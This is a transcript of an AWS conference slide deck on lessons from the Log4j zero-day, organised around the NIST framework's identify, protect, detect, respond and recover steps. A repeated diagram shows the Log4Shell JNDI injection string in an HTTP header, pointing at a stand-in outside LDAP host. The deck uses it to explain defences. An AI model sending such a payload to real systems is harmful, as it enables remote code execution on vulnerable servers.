A proactive approach to zero-days: Lessons learned from Log4j (Swiss Cloud Day 2022)

In the run-up to the 2021 holiday season, many companies were hit by security vulnerabilities in the widespread Java logging framework, Apache Log4j. Organizations were in a reactionary position, trying to answer questions like: How do we figure out if this is in our environment?
How do we remediate across our environment?
How do we protect our environment?
In this session, learn about proactive measures that you should implement now to better prepare for future zero-day vulnerabilities.

Transcript

1. Z U R I C H | 2 9 S E P T E M B E R 2 0 2 2
2. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. A proactive approach to zero-days: Lessons learned from Log4j Dennis Kieselhorst (he/him) S E C 3 0 4 Senior Solutions Architect Amazon Web Services
3. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Zero-day?
4. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. A zero-day is a computer- software vulnerability previously unknown to those who should be interested in its mitigation, like the vendor of the target software. Wikipedia https://en.wikipedia.org/wiki/Zero-day_(computing) Wikipedia
5. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Log4j zero-day
6. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Log4j JNDI vulnerability Open server http://user.xa Outside party The LDAP server responds with directory information that contains the outside-party malicious Java class Outside LDAP server ldap://outside.xa An unauthorized user inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: user.xa User-Agent: ${jndi:ldap://outside.ca/x} Log4j interpolates the string and queries the outside LDAP server ${jndi:ldap://outside.ca/x} ldap://outside.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://outside.xa javaSerializedData: <...> Log4j implementation Java deserializes (or downloads) the outside Java class and runs it 1. 2. 3. 4. 5. Source: “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
7. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Log4j related CVE records The Common Vulnerabilities and Exposures (CVE) program‘s mission is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. Dictionary entry Description Score (CVSS/EPSS) CVE-2021-44228 JNDI vulnerability mentioned on previous slide 10.0 Critical 95.10% CVE-2021-44832 Remote code execution (RCE) possible in combination with JDBC Appender 6.6 Medium 68.64% CVE-2021-45046 Fix to address CVE-2021-44228 was incomplete 9.0 Critical 71.95% CVE-2021-45105 Denial of service possibility when a crafted string is interpreted 5.9 Medium 33.57% The Common Platform Enumeration (CPE) is a structured naming scheme in XML format for IT systems, software, and packages. This formal format allows checking and testing.
8. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Immediate reactions How do I figure out if this is in my environment? Is AWS using Log4j? Which version? Which AWS services are affected? Should I get rid of open-source software? How do I protect my environment? How do I remediate across my environment? © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
9. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Shared responsibility model: Managed service AWS CUSTOMER AWS IDENTITY AND ACCESS MANAGEMENT CUSTOMER DATA, APPLICATION IDENTITY, AND ACCESS DATA ENCRYPTION & DATA INTEGRITY AUTHENTICATION APPLICATION MANAGEMENT INTERNET ACCESS, MONITORING & LOGGING Platform tools PLATFORM MANAGEMENT CODE ENCRYPTION (PROVIDED BY PLATFORM) Protection of data at rest NETWORKING TRAFFIC PROTECTION & FIREWALL CONFIGURATION Protection of data in transit OPERATING SYSTEM & NETWORK CONFIGURATION COMPUTE STORAGE DATABASE NETWORKING EDGE LOCATIONS REGION AVAILABILITY ZONES AWS GLOBAL INFRASTRUCTURE RESPONSIBLE FOR SECURITY “OF” THE CLOUD RESPONSIBLE FOR SECURITY “IN” THE CLOUD
10. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Common themes
11. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Two other zero-day examples besides Log4j Confluence (CVE-2022-26134) • Atlassian Confluence is a web- based corporate wiki software/ collaboration platform. • The vulnerability allowed an unauthenticated user to run arbitrary code. • Insufficient input validation led to Object-Graph Navigation Language (OGNL) evaluation. Spring4Shell (CVE-2022-22965) • Spring is a famous framework for Java-based enterprise applications. • Web applications may be open to remote code execution (RCE) when deployed as web application archive (WAR) on Tomcat. • The issue relates to data binding used to populate an object from request parameters (either query parameters or form data).
12. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. What did these have in common? Crafted traffic caused systems to respond with sensitive data Actors used these openings to gather credentials or run commands remotely Widely used technology requiring widespread patching to address issue Persistence techniques were commonly used after initial compromise
13. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. OWASP Top 10 Source: https://www.owasptopten.org/the-release-of-the-owasp-top-10-2021, CC BY-SA 4.0
14. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Using the NIST Cybersecurity Framework to align priorities
15. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. NIST Cybersecurity Framework overview • Framework for Improving Critical Infrastructure Cybersecurity • Initially published by The National Institute of Standards and Technology (NIST) in 2014 • Framework core consists of five concurrent and continuous functions to provide a high-level, strategic view of the lifecycle of an organization’s management of cybersecurity risk RECOVER IDENTIFY RESPOND PROTECT DETECT
16. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Identify Develop the organizational understanding to manage cybersecurity risk to systems, assets, data, and capabilities. RECOVER IDENTIFY RESPOND PROTECT DETECT
17. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Configuration management Governance and compliance management • Are my resources properly configured? • Do my resources comply with regulatory requirements • How do I ensure continuous compliance? • How can I get notified in near real- time if resource(s) go out of compliance? Inventory and configuration management • What is currently out there? • What is the latest configuration state of my resources? • What relationships exist between my resources? • What configuration changes occurred in the past? • Which resources have violated compliance policies? Example:
18. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Example: AWS Config Changing resources AWS Config Normalized AWS Config rules Notifications API access History, snapshot
19. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Infrastructure as code Reliably and consistently provisioning and configuring infrastructure is foundational for DevOps and fast software delivery Manual infrastructure processes can lack consistency, a single source of truth, and reliable detection/remediation of provisioning errors Examples: AWS CloudFormation, AWS CDK, HashiCorp Terraform
20. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Software dependency management Software bill of materials (SBOM) • inventory of components used to build a software architect • formal and machine-readable metadata • provide transparency in software supply chain Software Package Data Exchange (SPDX) • open standard for communicating SBOM information • ISO/IEC 5962:2021
21. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Log4j JNDI vulnerability Open server http://user.xa Outside party The LDAP server responds with directory information that contains the outside-party malicious Java class Outside LDAP server ldap://outside.xa An unauthorized user inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: user.xa User-Agent: ${jndi:ldap://outside.ca/x} Log4j interpolates the string and queries the outside LDAP server ${jndi:ldap://outside.ca/x} ldap://outside.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://outside.xa javaSerializedData: <...> Log4j implementation Java deserializes (or downloads) the outside Java class and runs it 1. 2. 3. 4. 5. “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
22. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Protect Develop and implement the appropriate safeguards to ensure delivery of critical infrastructure services. RECOVER IDENTIFY RESPOND PROTECT DETECT
23. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Network, DNS and Web Application Firewalls Network Firewall • Packet filtering • IP block/ allow lists • Stateless/ stateful rules • FQDN filtering on HTTP/HTTPS • Protocol detection/ enforcement DNS Firewall • DNS Filtering • Domain name based filtering • Custom deny actions (NXDOMAIN, OVERRIDE, NoData) • Filtering on Resolver and Resolver Endpoints Web Application Firewall (WAF) • Request filtering • SQL injection and cross- site scripting (XSS) attack detection • OWASP Top10 web application vulnerabilities • Bot protection and IP reputation list • Pattern matching (Regex) • Rate-limiting AWS Network Firewall AWS Route 53 Resolver DNS Firewall AWS WAF Example services:
24. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Log4j JNDI vulnerability Open server http://user.xa Outside party The LDAP server responds with directory information that contains the outside-party malicious Java class Outside LDAP server ldap://outside.xa An unauthorized user inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: user.xa User-Agent: ${jndi:ldap://outside.ca/x} Log4j interpolates the string and queries the outside LDAP server ${jndi:ldap://outside.ca/x} ldap://outside.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://outside.xa javaSerializedData: <...> Log4j implementation Java deserializes (or downloads) the outside Java class and runs it 1. 2. 3. 4. 5. “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0 Block incoming request Block outgoing query
25. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Detect Develop and implement the appropriate activities to identify the occurrence of a cybersecurity issue. RECOVER IDENTIFY RESPOND PROTECT DETECT
26. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Logging (Observability) • Record all environment activity. • Monitor IP traffic in and out of network interfaces. • Monitor DNS traffic using DNS resolver (like Route 53). • Collect metrics in Cloud (on AWS) and on premises. Amazon CloudWatch DNS Resolver query logging Flow logs AWS CloudTrail Example services:
27. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Tools for scanning and analysis • Based on log data sources: ▪ Enable continuous monitoring and analysis ▪ Use threat intelligence feeds and machine learning to detect unauthorized activity ▪ Simplify forensics • On virtual machines and container images: ▪ Discover vulnerabilities ▪ Prioritize patch remediation • Inside application source code: ▪ Proactively improve code quality ▪ Fix security vulnerabilities Amazon GuardDuty Example services: Amazon Inspector Amazon CodeGuru
28. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Respond Develop and implement the appropriate activities to take action regarding a detected cybersecurity issue. RECOVER IDENTIFY RESPOND PROTECT DETECT
29. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Foundation of Incident Response • Educate your security operations and incident response staff. • Prepare your incident response team to detect and respond to incidents by enabling detective capabilities, and ensuring appropriate access to the necessary tools and services. • Simulate both expected and unexpected security events within your cloud environment to understand the effectiveness of your preparation. • Iterate on the outcome of your simulation to improve the scale of your response posture, reduce time to value, and further reduce risk. 30
30. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Playbooks/ Runbooks • Establish formalized incident response processes • Can also help to comply with regulatory frameworks (like GDPR) • Don‘t have any? Dive in… • Resources: ▪ https://github.com/aws-samples/aws-incident-response-playbooks ▪ https://github.com/aws-samples/aws-customer-playbook-framework ▪ https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident- response-guide/welcome.html
31. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Automation Speed Deploy many times a day instead once every few months Repeatability Never send a human to do a machine’s job. Humans are error-prone Confidence If you’re not sure whether it’ll work, you’ll hesitate. That slows you down and keeps you from fixing problems Transparency Automated processes are easier to measure and improve
32. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Example: AWS Developer Tools for modern software delivery DEPLOY TEST BUILD SOURCE/ ARTIFACT AUTHOR AWS Cloud9 AWS IDE Toolkits AWS CodeBuild AWS CodeCommit AWS CodeDeploy AWS CodeBuild + Third Party AWS CodePipeline MODEL AWS CloudFormation AWS SAM AWS Cloud Development Kit AWS CodeArtifact
33. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Example: AWS Systems Manager E N A B L E S C E N T R A L I Z E D C L O U D O P E R A T I O N S Group resources Create groups of resources across different AWS services, such as applications or different layers of an application stack Take action Respond to insights and automate operational actions across resource groups Visualize data View aggregated operational data by resource group AWS Systems Manager Systems Manager helps you safely manage and operate your resources at scale
34. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Log4j JNDI vulnerability Open server http://user.xa Outside party The LDAP server responds with directory information that contains the outside-party malicious Java class Outside LDAP server ldap://outside.xa An unauthorized user inserts the JNDI lookup in a header field that is likely to be logged GET /test HTTP/1.1 Host: user.xa User-Agent: ${jndi:ldap://outside.ca/x} Log4j interpolates the string and queries the outside LDAP server ${jndi:ldap://outside.ca/x} ldap://outside.ca/x The string is passed to Log4j for logging public class Malicious implements Serializable { ... static { <malicious Java code> } ... } dn: javaClassName: Malicious javaCodebase: http://outside.xa javaSerializedData: <...> Log4j implementation Java deserializes (or downloads) the outside Java class and runs it 1. 2. 3. 4. 5. “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0 Block incoming request Block outgoing query Patch log4j Disable JNDI lookups Disable log4j Disable remote codebases
35. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Recover Develop and implement the appropriate activities to maintain plans for resilience and to restore any capabilities that were impaired due to a cybersecurity issue. RECOVER IDENTIFY RESPOND PROTECT DETECT
36. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Strategies for disaster recovery Backup & restore Pilot light Active/active Warm standby RPO / RTO: Hours RPO / RTO: 10s of minutes RPO / RTO: Minutes RPO / RTO: Real-time • Lower-priority use cases • Provision all AWS resources after event • Restore backups after event • Cost $ • Data live • Services idle • Provision some AWS resources and scale after event • Cost: $$ • Always running, but smaller • Business critical • Scale AWS resources after event • Cost $$$ • Zero downtime • Near-zero data loss • Mission Critical Services • Cost $$$$ Active/passive strategies
37. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Quick Wins & Long Term Strategies
38. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Quick wins • Implement basic egress controls, e.g. DNS firewall • Implement Amazon GuardDuty across AWS Organizations • Use AWS Managed Rules for AWS WAF • Use NACLs to control traffic
39. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Long-term strategies • Determine risk across environment to drive priorities • Define process for fleet-wide patching • Identify and enable a quick response team from across your organization • Get rid of unneeded (transitive) dependencies inside your applications • Develop and test playbooks for patching and response
40. Thank you! © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. Dennis Kieselhorst dkieselh@amazon.com kieselhorst
41. Please complete the session survey © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.